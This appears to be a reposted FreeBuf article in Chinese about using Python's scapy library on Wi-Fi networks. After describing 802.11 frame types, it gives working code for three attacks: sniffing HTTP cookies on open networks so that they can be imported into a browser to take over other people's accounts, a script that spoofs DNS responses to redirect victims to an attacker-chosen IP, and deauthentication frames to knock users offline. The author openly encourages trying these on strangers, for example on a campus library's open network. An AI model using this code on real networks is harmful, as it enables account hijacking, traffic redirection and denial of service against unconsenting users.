當前位置:
首頁 > 新聞 > scapy在wlan中的應用

scapy在wlan中的應用

*原創作者:addadd,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


Scapy

又是scapy,這是python的一個網路編程方面的庫,它在wlan中也有很強大的應用。一般我們買塊網卡,然後aircrack-ng套件爆破一下鄰居的密碼,其實我們可以用scapy寫一些有意思的東西。


IEEE802.11

簡述

這是WLAN的協議族,有80211b/g/n等等,協議中規定了不同類型的幀(也就是包的類型),分為數據幀、控制幀、管理幀。

控制幀是用來協調信道等提升數據通信可靠性的。

管理幀用來監督、管理加入和退出無線網路的包。

數據幀就是承載上層數據的包。

關係

這些幀和scapy中的數據包類的對應關係為:

Dot11 三種幀通用的部分

Dot11Beacon Beacon幀,ap用它來宣誓自己的存在

Dot11Elt 與Dot11Beacon一起出現,承載beacon幀中的數據

Dot11AssoReq Association Request

Dot11AssoResp Association Response

Dot11ProbeReq Probe request

Dot11ProbeResp Probe response

Dot11ReassoReq ReassociationRequest

Dot11ReassoResp ReassociationResponse 以上六個都是用來管理station和ap之間關係的管理幀

Dot11Auth Authentication 申請認證身份

Dot11Deauth Deauthentication 解除認證,可以用來dos攻擊

Dot11WEP 無線鏈路承載的上層數據被加密後,放在這裡


常見的樣子(summary)

Beacon幀:

RadioTap / 802.11 Management 8L 11:11:11:11:11:11 > ff:ff:ff:ff:ff:ff / Dot11Beacon / SSID=』CMCC-EDU』 / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt

加密後的上層數據:

RadioTap / 802.11 Data 0L

11:11:11:11:11:11

>

22:22:22:22:22:22

/ Dot11WEP

Deauth幀,用來把別人打掉線,很好用:

RadioTap / 802.11 Management 12L 11:11:11:11:11:11 > 22:22:22:22:22:22 / Dot11Deauth

未加密的數據幀,開放的wifi里的明文密碼就在你的身邊划過:

RadioTap / Dot11 / Dot11QoS / LLC / SNAP / IP / TCP 10.181.5.237:57556 > 124.116.181.82:http A / Padding

握手包,使用EAPOL協議:

RadioTap / Dot11 / Dot11QoS / LLC / SNAP / EAPOL EAPOL-Key / Raw / Padding


踩過的坑


系統環境

之前一直喜歡用kali,在優化代碼的過程中發現嗅探無線數據包的時候,使用filter參數不能成功過濾到未加密的IP數據包(filter=』ip』)。

各種排查最後發現是操作系統的問題,在新裝好的kali里也會出問題,但在ubuntu里是沒有問題的。


無線環境

平時玩無線的時候當然想一上來看看赤裸的明文數據包,但有時候明明有開放的wifi,卻一點明文數據包都抓不到。

受限於硬體,能處理數據包的速率是有限的,如果你周圍非常多加密的wifi,很可能網卡就被Beacon幀和各種控制幀淹沒了。

所以可以找一個開放wifi多的地方玩,學校圖書館就不錯,我們無線校園網都是不加密的嘿嘿。


usb無線網卡

我買的網卡基本都是8187晶元的,淘寶京東都有,想挑一挑可以看看aircrack-ng的官網裡的推薦。

天線的水很深啊,最好先買塊便宜的玩玩再說。


先看看別人的cookie


scapy_http

這裡又要介紹一個包啦,scapy_http是scapy的一個擴展。

平時我們抓到的包都是IP / TCP / Raw 這樣的層次,對http協議的處理很不方便。

scapy_http增加了HTTP、HTTPRequest、HTTPResponse層。

pip安裝就可以,import scapy_http.http as HTTP 在scapy之後導入就好。


嗅探


sniff(iface="mon0", prn=lambda x:x.summary(), filter="tcp[13:1]==24")

過濾得到tcp flags為 PA的數據包,可以得到類似這樣的結果

裡面滿滿的都是信息


for i in b: print i.Host + i.Path
print i.Cookie print "======================================="


先直觀的看一眼

有很多app後台的請求,可以收集大量的數據包,然後過濾自己喜歡的host

然後把cookie轉換成chrome接收的json形式,直接導入就可以登錄別人的賬號啦。


DNS MOST攻擊


MOST

MITM(man-in-the-middle)我們經常聽到,還有另一種man-on-the-side攻擊方法,攻擊者通過監聽信道,通過時間差注入數據。

還可以用來DDOS,嘿嘿


開放wlan中的DNS MOST

想要進行這種攻擊,首先要監聽信道,上面嗅探cookie已經說明這可以很容易做到。

然後是通過時間差注入,也就是我們要構造惡意的DNS響應包,並在伺服器響應前將其返回給客戶端

最後可以做到dns劫持一樣的效果。


如何構造惡意dns響應

首先要想的是如何讓客戶端(在沒有IDS的情況下)認為我構造的數據包就是伺服器返回給他的。

也就是最基本的:

1. dns協議中的id段要從嗅探道的dns請求中取出來,並放到dns響應中去。

2. 其次是scapy中dns響應包的構造,返回自己伺服器的ip。

3. dns請求的IP層的源埠目的埠、源ip目的ip都要交換

4. 80211協議層中的FCfield改為2,意為from-DS,也就是ap發送給station的數據包。


代碼


from scapy.all import *

snif_iface = "mon0"recv_iface = "mon0"cheat_ip = "1.1.1.1"def prn(pkt): resp = RadioTap()/Dot11()/LLC()/SNAP()/IP()/UDP(sport=53)/DNS(qr=1,ra=1,ancount=1)

#取出DNS協議層的id resp[DNS].id = pkt[DNS].id
#構造DNS數據層 resp.qd = pkt.qd
resp[DNS].an = DNSRR(rrname=pkt.qd.name, type="A", rclass="IN",
rdata=cheat_ip)

#交換各地址及埠 resp.FCfield = 2L resp.addr1, resp.addr2, resp.addr3 = pkt.addr2, pkt.addr1, pkt.addr3
resp.src, resp.dst = pkt.dst, pkt.src
resp.dport = pkt.sport

sendp(resp, iface=send_iface, verbose=False, count=10)
print "send response to %s for %s"%(resp.dst, resp.qd.qname)if __name__ == "__main__":
sniff(prn=prn, filter="udp dst port 53", iface=snif_iface)



需要注意

1. 監聽的網卡和注入數據包的網卡可以不是同一張,效率會更高

2. 過濾時使用filter參數效率會高很多很多,因為是在內核層面的過濾,使用BPF語法。

3. sendp發包函數在鏈路層上發送數據,所以我們可以自定義80211的數據包。

4. sendp在發送的時候會自動計算好各協議層的校驗和,如果你想resp = req.copy()這樣構造響應包,一定要注意把各層的長度和校驗和設置為None,讓它在發送的時候重新計算,不然這個數據包是畸形的。我也寫了用copy構造的腳本,但應該貼出的代碼的行數更少一些。

5. 兩塊網卡都要設置在monitor監聽模式,具體用airmon-ng等開啟監聽模式就不贅述了,但一定要注意network-manager、networking等服務對網卡的影響,必要時一定要stop。


最後如何把別人打掉線


Deauthentication幀


這是ap和station中用於中斷連接用的幀,而且沒有對數據包的來源進行驗證。

所以我們可以用它來強制別人掉線,而且還挺不好防的嘿嘿(或者把我筆記本摔掉


代碼


pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
sendp(pkt1)
sendp(pkt2)

可以先拿自己的手機試一下

其實aireplay -0 1 -a ap_mac -c client_mac iface 也是使用的deauth dos攻擊迫使client重連獲取握手包


*原創作者:addadd,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


您的贊是小編持續努力的最大動力,動動手指贊一下吧!


本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

淺談拒絕服務攻擊的原理與防禦(3)| 反射DDOS攻擊利用代碼
下一個獵殺目標 | 近期大量MySQL資料庫遭勒索攻擊
KindEditor開源富文本編輯框架XSS漏洞

TAG:FreeBuf |